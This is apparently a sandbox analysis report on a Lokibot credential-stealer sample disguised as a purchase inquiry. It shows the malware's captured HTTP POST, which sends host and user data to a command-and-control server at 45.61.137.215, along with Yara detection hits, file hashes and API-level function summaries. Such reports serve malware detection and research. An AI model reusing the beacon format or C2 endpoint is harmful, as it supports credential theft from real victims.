May 27, 2024 08:34:00.846683979 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:34:00.846719027 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:34:00.846752882 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:34:00.846785069 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:34:00.846916914 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:34:00.846988916 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo
May 27, 2024 08:34:00.847017050 CEST	224	IN	Data Raw: 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 Data Ascii: minous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49789	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:34:01.009453058 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:34:01.015026093 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:34:03.114726067 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:34:01 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:34:03.114890099 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:34:03.114929914 CEST	448	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:34:03.114984035 CEST	1236	IN	Data Raw: 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 65 2c 7b 6f 6e 63 65 3a 21 30 7d 29 7d 29 2c 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 Data Ascii: "DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.support
May 27, 2024 08:34:03.115087986 CEST	1236	IN	Data Raw: 70 65 6d 6f 6a 69 26 26 65 2e 74 77 65 6d 6f 6a 69 26 26 28 74 28 65 2e 74 77 65 6d 6f 6a 69 29 2c 74 28 65 2e 77 70 65 6d 6f 6a 69 29 29 29 7d 29 29 7d 28 28 77 69 6e 64 6f 77 2c 64 6f 63 75 6d 65 6e 74 29 2c 77 69 6e 64 6f 77 2e 5f 77 70 65 6d Data Ascii: pemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);/* ... */</script><style id='wp-emoji-styles-inline-css' type='text/css'>img.wp-smiley, img.emoji {display: inline !important;border: no
May 27, 2024 08:34:03.115134954 CEST	448	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 72 65 64 3a 20 23 63 66 32 65 32 65 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 3a 20 23 66 66 36 39 30 30 3b 2d 2d 77 Data Ascii: -color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color
May 27, 2024 08:34:03.115168095 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:34:03.115225077 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:34:03.115256071 CEST	448	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
May 27, 2024 08:34:03.115317106 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Target ID:	0
Start time:	02:31:55
Start date:	27/05/2024
Path:	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Purchase Inquiry_#466789.exe"
Imagebase:	0x860000
File size:	534'536 bytes
MD5 hash:	5EECE0F9333721C96803F39BECAE9FA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:31:57
Start date:	27/05/2024
Path:	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Purchase Inquiry_#466789.exe"
Imagebase:	0xb00000
File size:	534'536 bytes
MD5 hash:	5EECE0F9333721C96803F39BECAE9FA3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Lokibot_1f885282, Description: unknown, Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Lokibot_0f421617, Description: unknown, Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: Loki_1, Description: Loki Payload, Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group Rule: INDICATOR_SUSPICIOUS_GENInfoStealer, Description: Detects executables containing common artifcats observed in infostealers, Source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	100
Total number of Limit Nodes:	8

Executed Functions

Function 0116CF80 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0116CFFE
GetCurrentThread.KERNEL32 ref: 0116D03B
GetCurrentProcess.KERNEL32 ref: 0116D078
GetCurrentThreadId.KERNEL32 ref: 0116D0D1

Strings

NwiE, xrefs: 0116CF9C

Memory Dump Source

Source File: 00000000.00000002.1673802580.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Purchase Inquiry_#466789.jbxd

Similarity

API ID: Current$ProcessThread
String ID: NwiE
API String ID: 2063062207-3115903798
Opcode ID: 04033a46db16511ac31f89b335f8248bb7d80df86313baf7e1c046c049c27411
Instruction ID: 755d74efbc94ecbea6d0c653e06f511557328505626d579670129870857b8c11
Opcode Fuzzy Hash: 04033a46db16511ac31f89b335f8248bb7d80df86313baf7e1c046c049c27411
Instruction Fuzzy Hash: 7F5156B0A00249CFDB18CFA9D948B9EBBF5AF48304F20C559E459A7260C7359984CF65

Function 05905FD4 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 245
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05906216

Strings

NwiE, xrefs: 0590601B
NwiE, xrefs: 0590604A

Memory Dump Source

Source File: 00000000.00000002.1676624744.0000000005900000.00000040.00000800.00020000.00000000.sdmp, Offset: 05900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5900000_Purchase Inquiry_#466789.jbxd

Similarity

API ID: CreateProcess
String ID: NwiE$NwiE
API String ID: 963392458-3150609333
Opcode ID: 62887f09675f4ec012617759982891725250d6649cd3b6c4eb2106f82d9bbe4d
Instruction ID: 2d0b311db6d8f7e983c895a7378339b46160bdf2abb3ad9663a6db68c5d0b411
Opcode Fuzzy Hash: 62887f09675f4ec012617759982891725250d6649cd3b6c4eb2106f82d9bbe4d
Instruction Fuzzy Hash: BDA16A71D00219DFDF24CFA8C841BEEBBB6BF49314F1485A9E809A7280DB749995CF91

Function 05905FE0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 05906216

Strings

NwiE, xrefs: 0590601B
NwiE, xrefs: 0590604A

Memory Dump Source

Source File: 00000000.00000002.1676624744.0000000005900000.00000040.00000800.00020000.00000000.sdmp, Offset: 05900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5900000_Purchase Inquiry_#466789.jbxd

Similarity

API ID: CreateProcess
String ID: NwiE$NwiE
API String ID: 963392458-3150609333
Opcode ID: 3105f058f4d4170341e955e34332ab53bbb08b6508d57350320bb86b730cd1ee
Instruction ID: 1037927afc8af81f606f8f6161e74863dc365e4c754f00695e0efbecb4110315
Opcode Fuzzy Hash: 3105f058f4d4170341e955e34332ab53bbb08b6508d57350320bb86b730cd1ee
Instruction Fuzzy Hash: 04916971D00219DFDF24CFA9C841BEEBBB6BF49310F1485A9E808A7280DB749995CF91

Function 0116ACE8 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0116AF3E

Strings

NwiE, xrefs: 0116AEF7

Memory Dump Source

Source File: 00000000.00000002.1673802580.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Purchase Inquiry_#466789.jbxd

Similarity

API ID: HandleModule
String ID: NwiE
API String ID: 4139908857-3115903798
Opcode ID: abb6d4bf061a59b3c6ebb697ebec483629bd1bfb97d61a40b8611f8c5c341bde
Instruction ID: 6c5d2b6a668d01c03044635174e20b8ec9776f963dfb1f419015be36467e5c1b
Opcode Fuzzy Hash: abb6d4bf061a59b3c6ebb697ebec483629bd1bfb97d61a40b8611f8c5c341bde
Instruction Fuzzy Hash: 9F814970A00B058FD728DF69E44175ABBF5FF88304F00892DD486E7A50D776E959CB91

Function 05904110 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 104
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,00000010,00000000,?), ref: 059083D5

Strings

NwiE, xrefs: 05908392

Memory Dump Source

Source File: 00000000.00000002.1676624744.0000000005900000.00000040.00000800.00020000.00000000.sdmp, Offset: 05900000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5900000_Purchase Inquiry_#466789.jbxd

Similarity

API ID: MessagePost
String ID: NwiE
API String ID: 410705778-3115903798
Opcode ID: c9ecebc8cbc7ff9a1c40b26be9ebf15c040c6ee11504e1436003f207e53df9dc
Instruction ID: c1c9eb8fd57a1ff272c911c25372923fa9b22d3ee0e4ce97cd4e5f2c9cc6af23
Opcode Fuzzy Hash: c9ecebc8cbc7ff9a1c40b26be9ebf15c040c6ee11504e1436003f207e53df9dc
Instruction Fuzzy Hash: 9F4188B0A043589FDB10DF99D894ADEBFF8EF48310F14486AE495A7291D774A884CFA4

Function 011644C4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 011659A9

Strings

NwiE, xrefs: 0116592C

Memory Dump Source

Source File: 00000000.00000002.1673802580.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Purchase Inquiry_#466789.jbxd

Similarity

API ID: Create
String ID: NwiE
API String ID: 2289755597-3115903798
Opcode ID: 785e11863e5d86d6fc9d3da781c1877199631d76c809df96818d09b1f393bc0a
Instruction ID: 43f8bd54efd77165991390f67e0040c80a0734101a40be9f0189792a8be5e7a2
Opcode Fuzzy Hash: 785e11863e5d86d6fc9d3da781c1877199631d76c809df96818d09b1f393bc0a
Instruction Fuzzy Hash: C841E5B0C0071DCBDB28DFAAC84479DBBBABF49304F248069D408BB255DB755945CF90

Function 011658F4 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 011659A9

Strings

NwiE, xrefs: 0116592C

Memory Dump Source

Source File: 00000000.00000002.1673802580.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Purchase Inquiry_#466789.jbxd

Similarity

API ID: Create
String ID: NwiE
API String ID: 2289755597-3115903798
Opcode ID: fcc349048e166ce24002246b668098309cec8e468d5d83db2aa52ac88e2da764
Instruction ID: f7c2d562a366b6559965339d0fbc2f589208249a418b7395cd16c4e494bf6d48
Opcode Fuzzy Hash: fcc349048e166ce24002246b668098309cec8e468d5d83db2aa52ac88e2da764
Instruction Fuzzy Hash: 8E41C2B0C00719CBDB28DFAAC884B8DBBBABF49304F24806AD409BB255DB755945CF90

Function 0116D5D0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0116D657

Strings

NwiE, xrefs: 0116D5EF

Memory Dump Source

Source File: 00000000.00000002.1673802580.0000000001160000.00000040.00000800.00020000.00000000.sdmp, Offset: 01160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1160000_Purchase Inquiry_#466789.jbxd

Similarity

API ID: DuplicateHandle
String ID: NwiE
API String ID: 3793708945-3115903798
Opcode ID: cc8624ea7123039d40f233a1921fc21cc2d0332c0c800b6d86ce3c6dc540d1f9
Instruction ID: 1cf1434cc017d0276637e77511ca42b5b4340c390646b6f5429aec684b4abded
Opcode Fuzzy Hash: cc8624ea7123039d40f233a1921fc21cc2d0332c0c800b6d86ce3c6dc540d1f9
Instruction Fuzzy Hash: 2321E4B59002589FDB10CF9AD984ADEBFF8EB48320F14801AE958A7310C375A950CFA5

Function 0116A070 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,0116AFB9,00000800,00000000,00000000), ref: 0116B1CA

Strings

NwiE, xrefs: 0116B17F

Memory Dump Source

